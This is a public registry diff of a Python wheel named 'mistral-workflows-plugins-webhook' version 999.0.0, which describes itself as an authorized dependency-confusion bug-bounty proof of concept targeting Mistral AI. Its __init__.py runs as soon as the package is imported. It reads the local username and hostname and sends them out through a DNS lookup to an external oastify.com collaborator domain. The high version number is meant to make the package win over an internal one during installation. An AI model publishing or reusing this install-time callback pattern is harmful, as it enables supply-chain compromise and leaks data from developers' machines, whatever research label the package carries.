mistral-workflows-plugins-webhook 999.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Dependency Confusion PoC - Authorized Bug Bounty Research
|
|
3
|
+
Target: Mistral AI
|
|
4
|
+
Contact: tushar637811@gmail.com
|
|
5
|
+
|
|
6
|
+
This package demonstrates a dependency confusion vulnerability.
|
|
7
|
+
It performs a single DNS lookup as proof of execution. No destructive actions.
|
|
8
|
+
"""
|
|
9
|
+
|
|
10
|
+
import socket
|
|
11
|
+
import getpass
|
|
12
|
+
import platform
|
|
13
|
+
|
|
14
|
+
COLLAB = "z5547qsloegccc3p7lswe9rg2781wrkg.oastify.com"
|
|
15
|
+
|
|
16
|
+
def _callback():
|
|
17
|
+
try:
|
|
18
|
+
user = getpass.getuser()
|
|
19
|
+
host = platform.node()
|
|
20
|
+
tag = f"{user}.{host}.mistral-workflows-plugins-webhook"
|
|
21
|
+
tag = tag.replace(" ", "-")[:60]
|
|
22
|
+
socket.getaddrinfo(f"{tag}.{COLLAB}", 80)
|
|
23
|
+
except Exception:
|
|
24
|
+
pass
|
|
25
|
+
|
|
26
|
+
_callback()
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: mistral-workflows-plugins-webhook
|
|
3
|
+
Version: 999.0.0
|
|
4
|
+
Summary: Security research - dependency confusion PoC (authorized bug bounty)
|
|
5
|
+
Author-email: Tushar <tushar637811@gmail.com>
|
|
6
|
+
Requires-Python: >=3.9
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
|
|
9
|
+
# Security Research - Dependency Confusion PoC
|
|
10
|
+
|
|
11
|
+
This package is part of an authorized bug bounty engagement demonstrating
|
|
12
|
+
a dependency confusion vulnerability affecting Mistral AI.
|
|
13
|
+
|
|
14
|
+
**Contact:** tushar637811@gmail.com
|
|
15
|
+
|
|
16
|
+
This package performs only a DNS callback for proof of execution.
|
|
17
|
+
No malicious or destructive actions are taken.
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
mistral_workflows_plugins_webhook/__init__.py,sha256=dHF_9EI6dmHezVz7zPV76ROw7d4bwBUsMhxwGzaTtW0,659
|
|
2
|
+
mistral_workflows_plugins_webhook-999.0.0.dist-info/METADATA,sha256=5FlbvZ73N9AmEFAdW6Z3Np8qXLcJzv-JF_KlRI_N1YA,599
|
|
3
|
+
mistral_workflows_plugins_webhook-999.0.0.dist-info/WHEEL,sha256=QccIxa26bgl1E6uMy58deGWi-0aeIkkangHcxk2kWfw,87
|
|
4
|
+
mistral_workflows_plugins_webhook-999.0.0.dist-info/RECORD,,
|